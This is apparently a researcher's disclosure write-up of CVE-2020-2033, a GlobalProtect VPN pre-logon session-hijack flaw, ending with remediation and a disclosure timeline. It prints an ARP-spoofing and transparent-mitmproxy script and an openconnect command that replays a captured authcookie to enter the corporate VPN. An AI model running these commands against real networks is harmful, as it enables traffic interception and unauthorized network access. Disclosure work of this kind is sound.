CVE-2020–2033 Palo Alto Global Protect Remote Session Hijack

Photo by Dan Nelson on Unsplash

TL;DR;

The authentication_cookie value of the Global Protect client allows an attacker in a MiTM position to hijack your session and gain access to your VPN network.

Intro

A couple of months ago, I collaborated with fellow researcher @rogue_kdc and as a result we found a critical vulnerability in the Palo Alto Global Protect client. The issue allows an attacker on the same network to hijack your session and gain access to your corporate network during the pre-logon phase of the connection.

Vulnerability

The pre-logon feature in Global Protect VPN solutions allows machines to pull Group Policy updates and Active Directory info without user authentication on the logon screen. The authentication uses a certificate installed on the workstation to authenticate as pre-logon user.

Pre-logon authentication flow

We setup a workstation with the Global Protect client configured and performed a MiTM attack to analyse the traffic:

Global Protect MiTM

We can see the ESP tunnel being created and UDP VPN traffic being sent. All interaction with the Global Protect Portal (backend) is SSL/TLS encrypted so we were not able to sniff the content.

Hip Report Check

Workstations also send what’s called a Hip Report Check . This essentially is a an XML file containing the machine specifications and configuration like AV version, Bitlocker status, hostname, … The Hip Report Check happens after the tunnel has established and the authentication cookie has been transmitted.

To make sure we didn’t miss any request, we also tried starting the MiTM after the VPN tunnel was established to see if there were any intermediary requests we could sniff. We created the following script and initiated it after the tunnel was setup:

iptables -t nat -F
iptables -t nat -A PREROUTING -i <interface> -p tcp --dport 443 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i <interface> -p tcp --dport 80 -j REDIRECT --to-port 8080
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i <interface> -r -t <attacker IP> <gateway IP> > /dev/null 2> /dev/null & mitmproxy -v -p 8080 --set block_global=false --mode transparent --ssl-insecure
killall arpspoof

The following two requests popped up:

Hip report check MiTM

The request to /ssl-vpn/hipreport.esp contains the authcookie value we need to setup our own VPN tunnel to the company network:

Hip Report request detail

I used the openconnect client http://infradead.org/openconnect/ to establish the VPN tunnel. The command to launch the tunnel:

./openconnect --protocol=gp -u pre-logon --no-passwd -C "authcookie=ea9a62bb36183026f1736bd7a7ae792d&portal=CORP-gateway-N&user=pre-logon&domain=(empty-domain)&computer=ABCDEF044287" --csd-wrapper=hipreport.sh --servercert pin-sha256:abc123xyz456= 194.187.X.X

I ran a few commands to verify the tunnel was working successfully:

ifconfig tun0 — returns an interal ip in the VPN range

nslookup dir.corp.com — returns internal DC’s

Remediation

Disable to prelogon feature or upgrade the installed Global Protect client.
This issue is fixed in GlobalProtect app 5.0.10, GlobalProtect app 5.1.4, and all later GlobalProtect app versions.

Advisory

https://security.paloaltonetworks.com/CVE-2020-2033

Timeline

13/05/2020 — Issue reported to Palo Alto Networks PSIRT
05/06/2020 — Patch released
10/06/2020 — CVE assigned